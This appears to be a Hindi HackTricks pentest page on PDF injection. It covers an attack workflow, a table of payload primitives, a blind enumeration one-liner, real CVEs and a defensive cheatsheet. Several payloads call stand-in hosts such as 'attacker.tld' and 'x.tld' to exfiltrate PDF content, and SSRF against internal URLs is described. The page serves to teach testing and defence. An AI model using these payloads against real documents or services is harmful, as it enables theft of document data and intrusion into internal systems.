PDF Injection

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यदि आपका इनपुट एक PDF फ़ाइल के अंदर परिलक्षित हो रहा है, तो आप JavaScript निष्पादित करने, SSRF करने या PDF सामग्री चुराने के लिए PDF डेटा इंजेक्ट करने का प्रयास कर सकते हैं। PDF सिंटैक्स अत्यधिक अनुमति देने वाला है - यदि आप उस स्ट्रिंग या शब्दकोश से बाहर निकल सकते हैं जो आपके इनपुट को एम्बेड कर रहा है, तो आप पूरी तरह से नए ऑब्जेक्ट (या उसी ऑब्जेक्ट में नए कुंजी) जोड़ सकते हैं जिन्हें Acrobat/Chrome खुशी से पार्स करेगा। 2024 से, बग-बाउंटी रिपोर्टों की एक लहर ने दिखाया है कि एक अनएस्केप्ड कोष्ठक या बैक-स्लैश पूरी स्क्रिप्ट निष्पादन के लिए पर्याप्त है।

TL;DR – आधुनिक हमले का कार्यप्रवाह (2024)

  1. किसी भी उपयोगकर्ता-नियंत्रित मान को खोजें जो एक (कोष्ठक स्ट्रिंग), /URI ( … ) या /JS ( … ) फ़ील्ड के अंदर समाप्त होता है जो उत्पन्न PDF में है।
  2. ) (स्ट्रिंग को बंद करना) इंजेक्ट करें, इसके बाद नीचे दिए गए प्राइमिटिव में से एक और एक और उद्घाटन कोष्ठक के साथ समाप्त करें ताकि सिंटैक्स मान्य रहे।
  3. दुर्भावनापूर्ण PDF को एक पीड़ित (या एक बैकएंड सेवा को जो स्वचालित रूप से फ़ाइल को रेंडर करती है - अंधे बग के लिए महान) को वितरित करें।
  4. आपका पेलोड PDF व्यूअर में चलता है:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (देखें CVE-2024-4367)
  • Acrobat → पूर्ण JavaScript API (इसका उपयोग करके मनमाने फ़ाइल सामग्री को एक्सफिल्ट्रेट कर सकता है this.getPageNthWord)

उदाहरण (एनोटेशन लिंक हाइजैक):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

पहला ) मूल URI स्ट्रिंग को बंद करता है, फिर हम एक नया Action शब्दकोश जोड़ते हैं जिसे Acrobat उपयोगकर्ता द्वारा लिंक पर क्लिक करने पर निष्पादित करेगा।

उपयोगी इंजेक्शन प्राइमिटिव्स

लक्ष्यपेलोड स्निपेटनोट्स
खुलने पर JavaScript/OpenAction << /S /JavaScript /JS (app.alert(1)) >>जब दस्तावेज़ खोला जाता है तो तुरंत निष्पादित होता है (Acrobat में काम करता है, Chrome में नहीं)।
लिंक पर JavaScript/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>यदि आप /Link एनोटेशन को नियंत्रित करते हैं तो PDFium और Acrobat में काम करता है।
ब्लाइंड डेटा एक्सफिल्ट्रेशन<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)सामग्री चुराने के लिए JS के अंदर this.getPageNthWord के साथ मिलाएं।
सर्वर-साइड SSRFऊपर जैसा ही लेकिन एक आंतरिक URL को लक्षित करें - जब PDF को बैक-ऑफिस सेवाओं द्वारा प्रस्तुत किया जाता है जो /URI का सम्मान करते हैं तो यह शानदार है।
नए ऑब्जेक्ट्स के लिए लाइन ब्रेक\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjयदि पुस्तकालय आपको नए-लाइन वर्ण इंजेक्ट करने की अनुमति देता है तो आप पूरी तरह से नए ऑब्जेक्ट्स बना सकते हैं।

ब्लाइंड एन्यूमरेशन ट्रिक

गैरेथ हेयेस (PortSwigger) ने एक वन-लाइनर जारी किया जो एक अज्ञात दस्तावेज़ के अंदर हर ऑब्जेक्ट को एन्यूमरेट करता है - जब आप उत्पन्न PDF नहीं देख सकते हैं तो यह उपयोगी है:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

कोड Acrobat DOM के माध्यम से इटरेट करता है और हर प्रॉपर्टी/वैल्यू पेयर के लिए आउटबाउंड अनुरोध करता है, जिससे आपको फ़ाइल का JSON-ish डंप मिलता है। पूरी तकनीक के लिए श्वेत पत्र “Portable Data exFiltration” देखें।

वास्तविक दुनिया की बग्स (2023-2025)

  • CVE-2024-4367 – Firefox के PDF.js में 4.2.67 से पहले मनमाने JavaScript निष्पादन ने एक तैयार /JavaScript क्रिया के साथ सैंडबॉक्स को बायपास किया।
  • बग बाउंटी 2024-05 – प्रमुख फिनटेक ने ग्राहक द्वारा प्रदान किए गए चालान नोट्स की अनुमति दी जो /URI में आईं; रिपोर्ट के बाद $10k का भुगतान किया गया जब आंतरिक मेटाडेटा होस्ट के लिए file:/// URI का SSRF प्रदर्शित किया गया।
  • CVE-2023-26155 – अस्वच्छ PDF पथ के माध्यम से node-qpdf कमांड-इंजेक्शन ने PDF परत से पहले बैकस्लैश और कोष्ठकों को एस्केप करने के महत्व को दिखाया।

डिफेंसिव चीटशीट

  1. कभी भी कच्चे उपयोगकर्ता इनपुट को () स्ट्रिंग्स या नामों के अंदर संयोजित न करें। PDF स्पेक के §7.3 द्वारा आवश्यकतानुसार \, (, ) को एस्केप करें या हेक्स स्ट्रिंग्स <...> का उपयोग करें।
  2. यदि आप लिंक बनाते हैं, तो /URI (https://…) को प्राथमिकता दें जिसे आप पूर्ण रूप से URL-कोडित करते हैं; क्लाइंट व्यूअर्स में javascript: स्कीमों को ब्लॉक करें।
  3. PDFs को पोस्ट-प्रोसेस करते समय /OpenAction, /AA (अतिरिक्त क्रियाएँ), /Launch, /SubmitForm और /ImportData शब्दकोशों को स्ट्रिप या मान्य करें।
  4. सर्वर साइड पर, अविश्वसनीय PDFs को हेडलेस कनवर्टर (जैसे qpdf –decrypt –linearize) के साथ रेंडर करें जो JavaScript और बाहरी क्रियाओं को हटा देता है।
  5. PDF व्यूअर्स को अद्यतित रखें; PDF.js < 4.2.67 और Acrobat Reader जुलाई 2024 से पहले पैच trivial कोड निष्पादन की अनुमति देते हैं।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें